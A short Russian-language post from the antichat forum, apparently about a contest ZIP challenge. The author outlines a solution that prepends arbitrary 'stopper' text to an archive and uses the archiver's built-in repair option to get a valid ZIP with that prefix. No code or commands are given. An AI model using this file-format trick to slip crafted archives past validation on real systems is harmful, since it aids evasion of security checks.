↑ (https://antichat.live/posts/4311607/)
ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
Тем не менее, использовать штатную возможность восстановления поврежденных архивов - хорошая находка, достаточно технологично.
Не нужно навыков программирования, руки-то вот они, запаковал нужные файлы, грубо добавил в начало текст стоппера и указал архиватору ключ починить архив - фсё, имеем валидный zip-архив с нужным префиксом.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot